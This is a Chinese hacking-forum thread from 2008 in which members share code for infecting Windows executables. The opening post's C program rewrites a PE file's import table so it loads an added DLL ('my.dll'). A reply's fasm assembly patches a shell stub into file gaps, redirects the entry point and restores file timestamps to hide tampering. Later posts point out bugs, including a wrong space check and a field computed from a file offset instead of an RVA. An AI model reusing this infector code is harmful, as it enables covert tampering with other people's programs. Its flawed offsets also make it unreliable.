发新话题
打印

[原创]发一段感染引入表的vc代码

[原创]发一段感染引入表的vc代码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:[E.S.T] 认真的雪

今天整理硬盘滴时候看到滴,很久以前滴东西,网上貌似找不到vc滴,发出来
嘿嘿,米什么技术,高手跳过...
复制内容到剪贴板
代码:
#include <stdio.h>
#include <windows.h>

DWORD RVAToOffset(LPVOID lpBase,DWORD VirtualAddress)
{
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;
        IMAGE_SECTION_HEADER *sectionHeader;
        int NumOfSections;
        dosHeader=(IMAGE_DOS_HEADER*)lpBase;
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        NumOfSections=ntHeader->FileHeader.NumberOfSections;
        for (int i=0;i<NumOfSections;i++)
        {
                sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;
                if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
                {
                        DWORD AposRAV=VirtualAddress-sectionHeader->VirtualAddress;
                        DWORD Offset=sectionHeader->PointerToRawData+AposRAV;
                        return Offset;
                }
        }
        return 0;
}

int sectionNum(LPVOID lpBase,DWORD VirtualAddress)
{
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;
        IMAGE_SECTION_HEADER *sectionHeader;
        int NumOfSections;
        dosHeader=(IMAGE_DOS_HEADER*)lpBase;
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        NumOfSections=ntHeader->FileHeader.NumberOfSections;
        for (int i=0;i<NumOfSections;i++)
        {
                sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;
                if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
                {

                        return i;
                }
        }
        return -1;
}


int main(int argc, char* argv[])
{

        HANDLE hFile=CreateFile(argv[1],GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
        if(hFile==INVALID_HANDLE_VALUE)
        {
                printf("CreateFile Failed\n");
                return 0;
        }

        HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
        if(hMap==INVALID_HANDLE_VALUE)
        {
                printf("CreateFileMapping Failed\n");
                return 0;
        }

        LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
        if(lpBase==NULL)
        {
                printf("MapViewOfFile Failed\n");
                return 0;       
        }
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;
        dosHeader=(IMAGE_DOS_HEADER*)lpBase;

        if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
        {
                printf("This is not a windows file\n");
                return 0;
        }
       
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
        {
                printf("This is not a win32 file\n");
                return 0;
        }
        int numOfSections=ntHeader->FileHeader.NumberOfSections;
       
        int ncout=sectionNum(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
        if(ncout==-1)
        {
                printf("get section failed\n");
                return 0;
        }
        IMAGE_SECTION_HEADER *sectionHeader;
        sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+ncout;
        int nullsize=sectionHeader->SizeOfRawData-sectionHeader->Misc.VirtualSize;
        printf("%d\n",nullsize);
        IMAGE_IMPORT_DESCRIPTOR *ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
        int i=0;
        while(ImportDec->FirstThunk)
        {
                i++;
                ImportDec++;
        }
        if(i*20+20*3+8+8>nullsize)
        {
                printf("file space is not enough\n");
                return 0;
        }
        IMAGE_IMPORT_DESCRIPTOR *newImport;
        newImport=(IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)lpBase+sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
        printf("%x\n",sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
        printf("%d\n",sizeof(IMAGE_IMPORT_DESCRIPTOR));
        ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
        i=0;
        while(ImportDec->FirstThunk)
        {
                *newImport=*ImportDec;
                i++;
                ImportDec++;
                newImport++;
        }
        IMAGE_IMPORT_DESCRIPTOR myImport;
        char *name="my.dll";
        myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
        myImport.TimeDateStamp=0;
        myImport.ForwarderChain=0;
        myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
        myImport.Name=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2));
        *newImport=myImport;
        newImport++;
        memset(newImport,0,sizeof(IMAGE_IMPORT_DESCRIPTOR));
        newImport++;
        memcpy((char*)newImport,name,strlen(name)+1);
        DWORD newThunk;
        newThunk=(DWORD)newImport+20;
        *(DWORD*)newThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20+8);
        memset((void*)(newThunk+4),0,4);
        newThunk=newThunk+8;
        WORD hint=0x00;
        *(WORD*)newThunk=hint;
        newThunk=newThunk+sizeof(WORD);
        char *funname="MyFun";
        memcpy((char*)newThunk,funname,strlen(funname)+2);
        ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress;
        FlushViewOfFile(lpBase,0);
        UnmapViewOfFile(lpBase);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
}
[ 本帖最后由 认真的雪 于 2008-4-19 15:45 编辑 ]
本帖最近评分记录
  • eviloctal 威望 +20 感谢您以宝贵的开源精神做出的表率 ... 2008-4-22 01:57

TOP

寻找空隙,添加代码.比你的直接了当简单啊
中间删了两句

proc _PatchFile
        locals
                @hMem rd 1
               
                @dwFileSize rd 1
                @dwPeHdr rd 1
               
                @stFileTime FILETIME
        endl
        callw CreateFile,strFile,GENERIC_WRITE or GENERIC_READ,\
                         FILE_SHARE_READ  or FILE_SHARE_WRITE or FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL

        xchg eax,ebx
        callw GetFileTime,ebx,edx,edx,addr @stFileTime
        callw GetFileSize,ebx,NULL
        mov [@dwFileSize],eax
        callw GlobalAlloc,GMEM_ZEROINIT,edi
        mov [@hMem],eax
        callw ReadFile,ebx,esi,edi,esp,NULL,eax
        pop eax
        add esi,[esi+$3C]        ;esi->PeHdr
        mov [@dwPeHdr],esi
        mov esi,[esi+0x10C]
        add esi,[@hMem]
.reloop:
        xor ecx,ecx
.loop:
        lodsb
        inc ecx
        cmp ecx,Shell.size+1+4+4
        je .loopover
        test al,al
        je .loop
        jmp .reloop
.loopover:
        sub esi,ecx
        add esi,4
        mov ecx,esi
        call .Offset2RVA
        mov edi,[@dwPeHdr]
        mov ecx,[edi+0x28]
        mov [edi+0x28],eax
        sub ecx,eax
        sub ecx,5+Shell.jmp-Shell
        mov [Shell.jmp+1],ecx

        mov ecx,Shell.size
        mov edi,Shell
        xchg esi,edi
        rep movsb
       
        push eax
        mov ecx,esp
        callw CheckSumMappedFile,[@hMem],[@dwFileSize],ecx,ecx
        mov edi,[@dwPeHdr]
        pop dword[edi+0x58]
        xor edi,edi
        callw SetFilePointer,ebx,edi,edi,edi
        mov ecx,esp
        callw WriteFile,ebx,[@hMem],[@dwFileSize],ecx,edi,eax
        callw SetFileTime,ebx,edx,edx,addr @stFileTime
        callw CloseHandle,ebx
        ret
;-------------------------------
.Offset2RVA:        ;arg = ecx
        pushad
        sub ecx,[@hMem]
        mov edx,[@dwPeHdr]
        add edx,0xF8-0x28
@@:
        add edx,0x28
        mov eax,[edx+0x14]
        cmp ecx,eax
        jb @B
        add eax,[edx+0x10]
        cmp ecx,eax
        ja @B
       
        mov eax,[edx+0xC]
        sub eax,[edx+0x14]
        add eax,ecx
        mov dword[esp+4*7],eax
        popad
        retn
endp
阿尔卑斯与八宝糖还有冷苹果

TOP

人家都说了是VC的代码,你那是汇编,“道不同不相为谋”。

TOP

怎么突然冒出来了,qq上好久米见你了哟.....

TOP

以前用delphi写过一份,现在学c++,指针真难
为地震灾区的人们祈祷,一切都会重归美好。

TOP

引用:
原帖由 洋洋洒洒 于 2008-3-27 20:55 发表
寻找空隙,添加代码.比你的直接了当简单啊
中间删了两句

proc _PatchFile
        locals
                @hMem rd 1
               
                @dwFileSize rd 1
                @dwPeHdr rd 1
               
                @stFileTime FILETIME
        endl
        callw CreateFile,strFile,GENERIC_WRITE  ...
fasm的代码很少见哦~见到就要顶~哈哈~代码优化的也不错哦~比起某些只会写invoke XXX的人强太多了~
fasmlib很王道~大家都很喜欢。nasm 没什么为大家省心的东西

fasm现在发布UNIX版本了很好很王道最近和isOk捣鼓fasm。
最近吧所有代码都重新用fasm写。。。fasm写shellcode也很王道。
不过我还是喜欢用tasm32编译代码。。。

小雪这个代码BUG太多。。。导入表中没有过多的空间让你添加一个新的数组空间的。。。
至少要4×5个地址。。。
[code]
import
        dd 0
        dd 0
        dd -1
        dd dll001+RVADIFF
        dd api001+RVADIFF

        dd 0
        dd 0
        dd -1
        dd dll002+RVADIFF
        dd api002+RVADIFF

        dd 0
        dd 0
        dd -1
        dd dll003+RVADIFF
        dd api003+RVADIFF

               times 5 dd 0                ;NULL DLL ENTRY
import_end:
[code]

你需要添加的话需要有一个固定的空间。没有空间的话就只能自己去创造了
1.添加一个节
2.扩展最后一个节
3.寻找空隙(一般未必有这么多空隙。。。未初始化数据段现在都被rdata代替了。
dat中未必有足够的空间。其实空间之需要存储。导入表结构大小就可以)

睡觉睡觉~~

[ 本帖最后由 Anskya 于 2008-3-31 00:23 编辑 ]
本帖最近评分记录
  • eviloctal 威望 +10 感谢您参加论坛讨论并做出认真回复 ... 2008-4-22 01:56

TOP

引用:
原帖由 Anskya 于 2008-3-31 00:09 发表


fasm的代码很少见哦~见到就要顶~哈哈~代码优化的也不错哦~比起某些只会写invoke XXX的人强太多了~
fasmlib很王道~大家都很喜欢。nasm 没什么为大家省心的东西

fasm现在发布UNIX版本了很好很王道最近和isOk捣鼓fasm。
最 ...
小零一定米认真看偶滴代码, 不是在现有引入表结构之后添加一个新滴引入表结构滴,而是把原先的的引入表写到引入表所在节的空余空间上,再加上新滴引入表结构滴,一半来说这个长度是足够滴,不是前面还做了长度大小的判断吗....加一个新节文件大小改变了,会比较明显哟,所以当时就这么写了....貌似代码是比较乱,见谅了,嘿嘿.....

TOP

这点地方不明白

if(numOfSections*20+20*3+8+8>nullsize)
        {
                printf("file space is not enough\n");
                return 0;

不知道numOfSections*20+20*3+8+8其中的数字是怎么来的

希望大牛们能给指点一下

TOP

回复 9楼 450592 的帖子

我读了下代码,你问的其实是我代码的一个错误,呵呵.....也不知道当时怎么想的....又当了会髓男....
复制内容到剪贴板
代码:
        int i=0;
        while(ImportDec->FirstThunk)
        {
                i++;
                ImportDec++;
        }
        if(i*20+20*3+8+8>nullsize)
        {
                printf("file space is not enough\n");
                return 0;
        }
应该这样,判断导入表所在节的末尾的剩余空间,是否足够写入所有的导入表。。。

[ 本帖最后由 认真的雪 于 2008-4-19 15:53 编辑 ]
本帖最近评分记录
  • eviloctal 威望 +10 感谢您持续关注自己发出的原创主题 ... 2008-4-22 01:56

TOP

可能是我的问题没有说清吧

我对于这里是不明白的,i*20+20*3+8+8 这里20是IMAGE_IMPORT_DESCRIPTOR结构的大小吧 i*20应该是总的导入表的大小吧,可为什么后面还要+20*3+8+8是什么意思呢?为什么要这么做呢?按不明白?

希望大牛在这里给俺讲解一下?按时初学者

TOP

回复 11楼 450592 的帖子

i*20是原始导入表的大小。。。
那么后面的20*3+8+8就是my.dll所对应的IMAGE_IMPORT_DESCRIPTOR结构和这个结构中的成员所指向的数据的大小。。。。

TOP

这里还要大牛给详细的解释一下啊

myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);//这里能不能给俺详细的解试一下啊?看到这里就乱了
        myImport.TimeDateStamp=0;
        myImport.ForwarderChain=0;
        myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
        myImport.Name=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2));

TOP

回复 13楼 450592 的帖子


画了个图比较能说明问题,嘿嘿.....
其实还是有很多空间浪费的,可以进一步的让写入的信息更加紧凑...

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
请问代码中这个的作用是什么呢?

TOP

myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);

myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);

为什么一个用RVA一个用文件偏移呢?sectionHeader->PointerToRawData 这个不应该也用
sectionHeader->VirtualAddress么?

还有i*20+20*3+8+8 后面的+8+8是啥意思啊?

[ 本帖最后由 2489215 于 2008-4-25 20:47 编辑 ]

TOP

回复 16楼 2489215 的帖子

这个是判断参数rva是否落在某个节之内,用参数rva和节的起始rva和节结束的rva做一个比较

呵呵,我也是一个小菜鸟,希望高手指点

TOP

发新话题